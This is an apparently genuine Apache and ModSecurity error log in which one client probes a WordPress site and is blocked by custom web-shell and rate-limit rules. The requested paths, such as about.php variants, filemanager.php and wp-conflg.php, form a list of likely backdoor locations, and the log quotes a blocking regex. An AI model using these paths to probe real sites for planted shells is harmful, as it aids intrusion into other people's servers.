[Sun Apr 05 23:20:57.876014 2026] [:error] [pid 45303:tid 45335] [client 51.103.148.24:1998] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php/wp-includes/certificates/about.php"] [unique_id "adJ92bboQ9eViZ4hdnmKyQAAABI"]
[Sun Apr 05 23:20:57.936732 2026] [:error] [pid 45303:tid 45337] [client 51.103.148.24:1864] [client 51.103.148.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/about.php"] [unique_id "adJ92bboQ9eViZ4hdnmKywAAABQ"]
[Sun Apr 05 23:20:58.774409 2026] [:error] [pid 45305:tid 45386] [client 51.103.148.24:1979] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php/wp-includes/certificates/about.php"] [unique_id "adJ92ujDQjr7aWhjflCOBQAAAI8"]
[Sun Apr 05 23:20:58.900002 2026] [:error] [pid 45304:tid 45362] [client 51.103.148.24:1957] [client 51.103.148.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "adJ92g5jnqDKKovdRklDcwAAAFI"]
[Sun Apr 05 23:21:00.030816 2026] [:error] [pid 45303:tid 45336] [client 51.103.148.24:1954] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-links.php"] [unique_id "adJ93LboQ9eViZ4hdnmK3QAAABM"]
[Sun Apr 05 23:21:00.190891 2026] [:error] [pid 45409:tid 45420] [client 51.103.148.24:1975] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/images/about.php"] [unique_id "adJ93NHt_Oyw03gjCNhxXwAAAMk"]
[Sun Apr 05 23:21:01.012611 2026] [:error] [pid 45303:tid 45335] [client 51.103.148.24:1974] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/images/about.php"] [unique_id "adJ93bboQ9eViZ4hdnmK4gAAABI"]
[Sun Apr 05 23:21:01.564009 2026] [:error] [pid 45303:tid 45338] [client 51.103.148.24:2015] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-links.php"] [unique_id "adJ93bboQ9eViZ4hdnmK6AAAABU"]
[Sun Apr 05 23:21:01.923675 2026] [:error] [pid 30921:tid 30945] [client 51.103.148.24:1964] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/images/about.php"] [unique_id "adJ93WFGQVn8Q0ueB25XZwAAARY"]
[Sun Apr 05 23:21:02.977731 2026] [:error] [pid 45303:tid 45340] [client 51.103.148.24:1977] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/images/about.php"] [unique_id "adJ93rboQ9eViZ4hdnmK8AAAABc"]
[Sun Apr 05 23:21:03.104065 2026] [:error] [pid 45304:tid 45346] [client 51.103.148.24:2006] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-links.php"] [unique_id "adJ93w5jnqDKKovdRklDeQAAAEI"]
[Sun Apr 05 23:21:04.176526 2026] [:error] [pid 45304:tid 45358] [client 51.103.148.24:1875] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php/wp-includes/certificates/about.php"] [unique_id "adJ94A5jnqDKKovdRklDgQAAAE4"]
[Sun Apr 05 23:21:05.391516 2026] [:error] [pid 45305:tid 45386] [client 51.103.148.24:1878] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-links.php"] [unique_id "adJ94ejDQjr7aWhjflCOEgAAAI8"]
[Sun Apr 05 23:21:05.558571 2026] [:error] [pid 45303:tid 45337] [client 51.103.148.24:2014] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php/wp-includes/certificates/about.php"] [unique_id "adJ94bboQ9eViZ4hdnmLAAAAABQ"]
[Sun Apr 05 23:21:06.184077 2026] [:error] [pid 30921:tid 30926] [client 51.103.148.24:2040] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alexantr/filemanager.php"] [unique_id "adJ94mFGQVn8Q0ueB25XdAAAAQM"]
[Sun Apr 05 23:21:06.719339 2026] [:error] [pid 30921:tid 30937] [client 51.103.148.24:2019] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php/wp-includes/certificates/about.php"] [unique_id "adJ94mFGQVn8Q0ueB25XeQAAAQ4"]
[Sun Apr 05 23:21:06.916940 2026] [:error] [pid 45305:tid 45377] [client 51.103.148.24:2018] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alexantr/filemanager.php"] [unique_id "adJ94ujDQjr7aWhjflCOFgAAAIY"]
[Sun Apr 05 23:21:07.660008 2026] [:error] [pid 45304:tid 45350] [client 51.103.148.24:2015] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php/wp-includes/certificates/about.php"] [unique_id "adJ94w5jnqDKKovdRklDjQAAAEY"]
[Sun Apr 05 23:21:08.293121 2026] [:error] [pid 45304:tid 45366] [client 51.103.148.24:1988] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alexantr/filemanager.php"] [unique_id "adJ95A5jnqDKKovdRklDkQAAAFY"]
[Sun Apr 05 23:21:08.451966 2026] [:error] [pid 30921:tid 30947] [client 51.103.148.24:1972] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-links.php"] [unique_id "adJ95GFGQVn8Q0ueB25XewAAARg"]
[Sun Apr 05 23:21:09.097849 2026] [:error] [pid 45305:tid 45371] [client 51.103.148.24:1890] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-links.php"] [unique_id "adJ95ejDQjr7aWhjflCOIQAAAIA"]
[Sun Apr 05 23:21:09.210479 2026] [:error] [pid 45304:tid 45354] [client 51.103.148.24:2005] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alexantr/filemanager.php"] [unique_id "adJ95Q5jnqDKKovdRklDmwAAAEo"]
[Sun Apr 05 23:21:09.699972 2026] [:error] [pid 45304:tid 45355] [client 51.103.148.24:1891] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-links.php"] [unique_id "adJ95Q5jnqDKKovdRklDnQAAAEs"]
[Sun Apr 05 23:21:09.800103 2026] [:error] [pid 45304:tid 45349] [client 51.103.148.24:1952] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/link.php/wp-content/plugins/wp-conflg.php"] [unique_id "adJ95Q5jnqDKKovdRklDngAAAEU"]
[Sun Apr 05 23:21:10.409292 2026] [:error] [pid 45303:tid 45337] [client 51.103.148.24:1874] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-links.php"] [unique_id "adJ95rboQ9eViZ4hdnmLCAAAABQ"]
[Sun Apr 05 23:21:10.607209 2026] [:error] [pid 45409:tid 45417] [client 51.103.148.24:2002] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/link.php/wp-content/plugins/wp-conflg.php"] [unique_id "adJ95tHt_Oyw03gjCNhxdwAAAMY"]
[Sun Apr 05 23:21:11.337353 2026] [:error] [pid 45303:tid 45322] [client 51.103.148.24:2030] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alexantr/filemanager.php"] [unique_id "adJ957boQ9eViZ4hdnmLEQAAAAU"]
[Sun Apr 05 23:21:12.073833 2026] [:error] [pid 30921:tid 30932] [client 51.103.148.24:1813] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/link.php/wp-content/plugins/wp-conflg.php"] [unique_id "adJ96GFGQVn8Q0ueB25XiQAAAQk"]
[Sun Apr 05 23:21:12.770250 2026] [:error] [pid 45303:tid 45332] [client 51.103.148.24:1980] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alexantr/filemanager.php"] [unique_id "adJ96LboQ9eViZ4hdnmLGwAAAA8"]
[Sun Apr 05 23:21:12.829580 2026] [:error] [pid 45305:tid 45388] [client 51.103.148.24:1963] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/link.php/wp-content/plugins/wp-conflg.php"] [unique_id "adJ96OjDQjr7aWhjflCOOAAAAJE"]
[Sun Apr 05 23:21:13.505820 2026] [:error] [pid 45303:tid 45333] [client 51.103.148.24:2031] [client 51.103.148.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "adJ96bboQ9eViZ4hdnmLIQAAABA"]
[Sun Apr 05 23:21:13.636506 2026] [:error] [pid 45303:tid 45317] [client 51.103.148.24:1924] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alexantr/filemanager.php"] [unique_id "adJ96bboQ9eViZ4hdnmLIgAAAAA"]
[Sun Apr 05 23:21:14.162889 2026] [:error] [pid 45304:tid 45363] [client 51.103.148.24:1996] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-mail.php"] [unique_id "adJ96g5jnqDKKovdRklDpgAAAFM"]
[Sun Apr 05 23:21:14.232163 2026] [:error] [pid 45304:tid 45346] [client 51.103.148.24:1894] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alexantr/filemanager.php"] [unique_id "adJ96g5jnqDKKovdRklDpwAAAEI"]
[Sun Apr 05 23:21:14.982471 2026] [:error] [pid 45305:tid 45381] [client 51.103.148.24:1962] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-mail.php"] [unique_id "adJ96ujDQjr7aWhjflCOOwAAAIo"]
[Sun Apr 05 23:21:15.065444 2026] [proxy_fcgi:error] [pid 30921:tid 30937] [client 51.103.148.24:1938] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 23:21:15.303134 2026] [:error] [pid 30921:tid 30925] [client 51.103.148.24:1938] [client 51.103.148.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "adJ962FGQVn8Q0ueB25XkgAAAQI"]
[Sun Apr 05 23:21:15.923609 2026] [proxy_fcgi:error] [pid 45303:tid 45321] [client 51.103.148.24:1968] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 23:21:15.980337 2026] [proxy_fcgi:error] [pid 30921:tid 30947] [client 51.103.148.24:1967] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 23:21:16.186285 2026] [proxy_fcgi:error] [pid 45303:tid 45331] [client 51.103.148.24:1968] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 23:21:16.221354 2026] [proxy_fcgi:error] [pid 30921:tid 30923] [client 51.103.148.24:1967] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 23:21:16.682097 2026] [proxy_fcgi:error] [pid 45303:tid 45324] [client 51.103.148.24:1968] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 23:21:16.703516 2026] [proxy_fcgi:error] [pid 30921:tid 30946] [client 51.103.148.24:1967] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 23:21:16.929638 2026] [:error] [pid 45303:tid 45338] [client 51.103.148.24:1968] [client 51.103.148.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/about.php"] [unique_id "adJ97LboQ9eViZ4hdnmLLwAAABU"]
[Sun Apr 05 23:21:16.939526 2026] [:error] [pid 30921:tid 30938] [client 51.103.148.24:1967] [client 51.103.148.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/about.php"] [unique_id "adJ97GFGQVn8Q0ueB25XnQAAAQ8"]
[Sun Apr 05 23:21:17.654436 2026] [:error] [pid 45303:tid 45339] [client 51.103.148.24:1914] [client 51.103.148.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/about.php"] [unique_id "adJ97bboQ9eViZ4hdnmLMgAAABY"]
[Sun Apr 05 23:21:17.892101 2026] [:error] [pid 45303:tid 45323] [client 51.103.148.24:2008] [client 51.103.148.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/about.php"] [unique_id "adJ97bboQ9eViZ4hdnmLMwAAAAY"]
[Sun Apr 05 23:21:18.321193 2026] [:error] [pid 45303:tid 45321] [client 51.103.148.24:1860] [client 51.103.148.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/wp-login.php"] [unique_id "adJ97rboQ9eViZ4hdnmLNgAAAAQ"]
[Sun Apr 05 23:21:18.686041 2026] [:error] [pid 45304:tid 45357] [client 51.103.148.24:1887] [client 51.103.148.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/wp-login.php"] [unique_id "adJ97g5jnqDKKovdRklDrwAAAE0"]
[Sun Apr 05 23:21:19.323699 2026] [proxy_fcgi:error] [pid 45304:tid 45356] [client 51.103.148.24:1897] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 23:21:19.508727 2026] [:error] [pid 45305:tid 45391] [client 51.103.148.24:1904] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/languages/about.php"] [unique_id "adJ97-jDQjr7aWhjflCOSQAAAJQ"]
[Sun Apr 05 23:21:19.571886 2026] [:error] [pid 45304:tid 45358] [client 51.103.148.24:1897] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors.php"] [unique_id "adJ97w5jnqDKKovdRklDuQAAAE4"]
[Sun Apr 05 23:21:20.551875 2026] [:error] [pid 45304:tid 45353] [client 51.103.148.24:1886] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors.php"] [unique_id "adJ98A5jnqDKKovdRklDvQAAAEk"]
[Sun Apr 05 23:21:20.766286 2026] [:error] [pid 45304:tid 45357] [client 51.103.148.24:1842] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/languages/about.php"] [unique_id "adJ98A5jnqDKKovdRklDwQAAAE0"]
[Sun Apr 05 23:21:21.508612 2026] [:error] [pid 45304:tid 45363] [client 51.103.148.24:1943] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors.php"] [unique_id "adJ98Q5jnqDKKovdRklDxwAAAFM"]
[Sun Apr 05 23:21:21.919629 2026] [:error] [pid 30921:tid 30932] [client 51.103.148.24:1863] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/languages/about.php"] [unique_id "adJ98WFGQVn8Q0ueB25XqQAAAQk"]
[Sun Apr 05 23:21:22.380530 2026] [:error] [pid 30921:tid 30940] [client 51.103.148.24:1973] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors.php"] [unique_id "adJ98mFGQVn8Q0ueB25XrAAAARE"]
[Sun Apr 05 23:21:22.685570 2026] [:error] [pid 45303:tid 45322] [client 51.103.148.24:1999] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/languages/about.php"] [unique_id "adJ98rboQ9eViZ4hdnmLSAAAAAU"]
[Sun Apr 05 23:21:23.464081 2026] [:error] [pid 45304:tid 45360] [client 51.103.148.24:2028] [client 51.103.148.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/html-api/chosen.php"] [unique_id "adJ98w5jnqDKKovdRklD0gAAAFA"]
[Sun Apr 05 23:21:24.010292 2026] [:error] [pid 30921:tid 30941] [client 51.103.148.24:1950] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/info.php"] [unique_id "adJ99GFGQVn8Q0ueB25XrgAAARI"]
